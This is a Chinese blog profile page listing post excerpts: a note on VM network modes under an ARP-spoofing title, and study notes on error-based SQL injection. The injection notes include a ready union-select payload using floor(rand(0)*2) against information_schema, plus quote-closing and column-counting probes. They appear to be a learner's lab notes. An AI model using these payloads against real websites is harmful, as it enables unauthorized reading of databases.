- 博客(4)
- 收藏
- 关注
RSS订阅原创 arp欺骗
虚拟机三种网络模式nat：只能主机可以访问虚拟机，同一网段的其他ip无法访问到虚拟机桥接：外部也可以访问到虚拟机。虚拟机的网络配置和物理机保持一模一样。
2023-10-09 18:50:53
29
1
原创 报错注入（二）
?id=1' union select 1,count(*),concat_ws('~',(select version()),floor(rand(0)*2)) as x from information_schema.tables group by x--+
2022-11-25 19:46:01
84
2
原创 报错注入笔记
select extractvalue（列名,'路径'）from xml;substring(内容，起始位，位数)使用函数substring解决只能返回32个字符串问题。1.使用extractvalue查询xml里面的内容。闭合方式 id=1' and 1=2--+无查询结果。列数id=1' group by 3--+4.substring函数。2.concat拼接。
2022-11-23 21:29:53
195
1
s[i].score是什么意思？
2022-12-18
TA创建的收藏夹 TA关注的收藏夹
TA关注的人